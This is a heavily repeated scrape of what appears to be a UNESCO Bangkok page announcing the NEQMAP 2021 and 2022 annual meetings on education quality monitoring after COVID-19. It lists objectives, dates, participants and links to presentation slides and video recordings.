rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP_ACER_India_2022_v1.1.pdf\" target=\"_blank\">Bringing policy to classrooms: Supporting teachers on criterion-referenced assessments in the National Capital Territory of Delhi<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Deviram-Acharya-Presentation.pdf\" target=\"_blank\">Classroom Assessment for Enhancing Learning and Recovery in Nepal<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-Priority-areas-Soumaya-.pdf\" target=\"_blank\">Identifying priority areas of work for NEQMAP 2023<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-AndreasWhatsNewPISA.pdf\" target=\"_blank\">What\u2019s new in PISA 2025<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/SEA-PLM-PPT-NEQMAP-as-of-13-December-2022.pdf\" target=\"_blank\">Monitoring and Developing ASEAN Basic Education: The New Phase of the Southeast Asia Primary Learning Metrics (SEA-PLM)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-The-role-of-Learning-Progressions-in-global-education-monitoring.pdf\" target=\"_blank\">The role of Learning Progressions in global education monitoring<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/Wellbeing-assessment_Zhao.pdf\" target=\"_blank\">Education for flourishing: Perspective and practice in well-being assessment<\/a> Video Recordings:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/drive.google.com\/file\/d\/1rzod9xwHQ_b59_WHkwUKxEsOjsHFGqL9\/view?usp=share_link\" target=\"_blank\">Updates on the 4th<\/sup> and 5th<\/sup> editions of PILNA<\/a><\/p>\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/videoseries?controls=0&list=PLWuYED1WVJIMC0seHrLq3jmv8zodwnSJI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\"><\/iframe>\n\n\n\nNote: This meeting is not open to the public.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic. Those active in NEQMAP activities over the past several years are strongly encouraged to attend.<\/p>\n\n\n\nMeeting Files from the Secretariat:<\/strong> - <a href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EU6kROkWudVMjZpjIef37fsBbSphc4iMwhYK-7HJkt1R0A?e=DbofOd\">Agenda<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EZnYLvE3S9xDkKrKGoYwzXwB7L0sFkxRa3F0RJgfig8zyA?e=FHESJ3\" target=\"_blank\">Speakers' List<\/a><\/p>\n\n\n\nSlide Presentations:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP-Activities-update-2022.pdf\" target=\"_blank\">NEQMAP\u2019s activities in 2022 and major 2022 education events in Asia-Pacific<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Bangkok-Statement-and-TES.pdf\" target=\"_blank\">NEQMAP\u2019s role and contributions in advancing countries\u2019 commitments to improving learning for all (Bangkok Statement 2022 and Transforming Education Summit follow-up)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP_ACER_India_2022_v1.1.pdf\" target=\"_blank\">Bringing policy to classrooms: Supporting teachers on criterion-referenced assessments in the National Capital Territory of Delhi<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Deviram-Acharya-Presentation.pdf\" target=\"_blank\">Classroom Assessment for Enhancing Learning and Recovery in Nepal<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-Priority-areas-Soumaya-.pdf\" target=\"_blank\">Identifying priority areas of work for NEQMAP 2023<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-AndreasWhatsNewPISA.pdf\" target=\"_blank\">What\u2019s new in PISA 2025<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/SEA-PLM-PPT-NEQMAP-as-of-13-December-2022.pdf\" target=\"_blank\">Monitoring and Developing ASEAN Basic Education: The New Phase of the Southeast Asia Primary Learning Metrics (SEA-PLM)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-The-role-of-Learning-Progressions-in-global-education-monitoring.pdf\" target=\"_blank\">The role of Learning Progressions in global education monitoring<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/Wellbeing-assessment_Zhao.pdf\" target=\"_blank\">Education for flourishing: Perspective and practice in well-being assessment<\/a> Video Recordings:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/drive.google.com\/file\/d\/1rzod9xwHQ_b59_WHkwUKxEsOjsHFGqL9\/view?usp=share_link\" target=\"_blank\">Updates on the 4th<\/sup> and 5th<\/sup> editions of PILNA<\/a><\/p>\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/videoseries?controls=0&list=PLWuYED1WVJIMC0seHrLq3jmv8zodwnSJI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\"><\/iframe>\n\n\n\nNote: This meeting is not open to the public.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 